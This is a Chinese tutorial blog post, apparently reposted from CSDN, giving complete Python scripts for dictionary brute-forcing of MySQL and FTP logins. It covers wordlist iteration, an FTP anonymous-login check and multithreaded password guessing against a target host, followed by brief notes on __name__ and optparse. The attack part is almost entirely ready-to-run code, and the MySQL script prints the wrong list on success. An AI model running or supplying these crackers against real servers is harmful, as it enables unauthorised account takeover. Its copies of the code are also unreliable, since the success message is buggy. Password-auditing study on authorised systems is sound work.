python——弱口令暴力破解工具

环境:python 3.6.7

MySQL 数据库暴力破解代码

# -*- coding: utf-8 -*-
import pymysql

success = False

f_user = open('username.txt', 'r')
f_pwd = open('password.txt', 'r')

lines_user = f_user.readlines()		#读取出来是一个列表
lines_pwd = f_pwd.readlines()

for user in range(0, len(lines_user)):		#遍历用户名列表
	for pwd in range(0, len(lines_pwd)):	#遍历密码列表
		try:
			db = pymysql.Connect(
				host = 'localhost',
				port = 3306,
				user = lines_user[user].rstrip(),
				passwd = lines_pwd[pwd].rstrip(),
			)
			success = True
			
			if success:
				print("用户名:" + lines_pwd[user].rstrip() + " " + "密码:"+ lines_pwd[pwd].rstrip() + " " + "破解成功")
				success = False
		
		except:
			print(lines_user[user].rstrip() + " " + lines_pwd[pwd].rstrip() + " " + "破解失败")
			pass

f_user.close()
f_pwd.close()

FTP 服务器暴力破解代码

# -*- coding: utf-8 -*-
'''
使用方法,如:python crack_ftp.py -H 10.10.10.130 -U username.txt -P password.txt
'''

import optparse
import ftplib
import threading
import socket

def anonyLogin(host):			#匿名登录
	try:
		ftp = ftplib.FTP(host)	#连接 FTP 服务器
		ftp.connect(host, 21, timeout = 10)	#确定 FTP 服务器的地址、端口号和超时时间
		ftp.login('', '')		#匿名登录
		ftp.retrlines('LIST')	#显示 FTP 服务器中文件的信息列表
		ftp.quit()				#退出 FTP
		
		print('\n[*]' + str(host) + 'FTP Anonymous Login Succeeded.')
		
	except Exception as e:
		print('\n[-]' + str(host) + 'FTP Anonymous Login Failed.')
		
		
def ftpLogin(host, username, password):	#账号密码登录
	try:
		print('[-] Trying: ' + username + '/' + password)
		
		ftp = ftplib.FTP(host)			#连接 FTP 服务器
		ftp.connect(host, 21, timeout = 10)
		ftp.login(username, password)
		ftp.retrlines('LIST')
		ftp.quit()
		
		print('Success!!!' + ' ' + 'username: ' + username + ' ' + 'password: ' + password)
		
	except ftplib.all_errors:
		pass
		
def Crack(host, userFile, pwdFile):			#用账号密码字典进行暴力破解
	file_user = open('username.txt', 'r')
	file_pwd = open('password.txt', 'r')
	
	for user in file_user.readlines():		#遍历用户名字典
		file_pwd.seek(0)		#重置 file_pwd 文件的指针位置,此处为指向头,即从头开始遍历
		for pwd in file_pwd.readlines():	#遍历密码字典
			username = user.strip('\n')		#过滤换行符
			password = pwd.strip('\n')
			
			#用多线程加快破解速度
			t = threading.Thread(target = ftpLogin, args = (host, username, password))
			t.start()
			
def main():				#主函数
	parser = optparse.OptionParser()
	parser.add_option('-H', dest = 'host', type = 'string', help = 'speclify the host')
	parser.add_option('-U', dest = 'userDic', type = 'string', help = 'specify the dictionary for user')
	parser.add_option('-P', dest = 'pwdDic', type = 'string', help = 'specify the dictionary for password')
	
	(options, args) = parser.parse_args()	#获取参数
	host = options.host
	userDic = options.userDic
	pwdDic = options.pwdDic
	
	try:
		host = socket.gethostbyname(host)	#若传入的是主机名,则将其转为 IP 地址
	except:
		print("[-] Cannot Resolve '%s': Unknown host" %host)
		
	anonyLogin(host)				#先尝试是否可以匿名登录
	Crack(host, userDic, pwdDic)	#用账号密码字典进行暴力破解
	
if __name__ == '__main__':
	main()
关于代码的一些解释

if __name__ == '__main__'
由于每个python模块(python文件)都包含内置的变量__name__,当运行模块被执行的时候,__name__等于文件名(包含了后缀.py)。
如果import到其他模块中,则__name__等于模块名称(不包含后缀.py)。
而“main”等于当前执行文件的名称(包含了后缀.py)。
所以当模块被直接执行时,name == 'main’结果为真;
而当模块被import到其他模块中时,name == 'main’结果为假,就是不调用对应的方法。

简而言之就是:name 是当前模块名,当模块被直接运行时模块名为 main 。当模块被直接运行时,代码将被运行,当模块是被导入时,代码不被运行。

parser.add_option()
add_option()参数说明:

  • action:存储方式,分为三种store、store_false、store_true
  • type:类型
  • dest:存储的变量
  • default:默认值
  • help:帮助信息
    运行示例:
    在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_43915762/article/details/88095970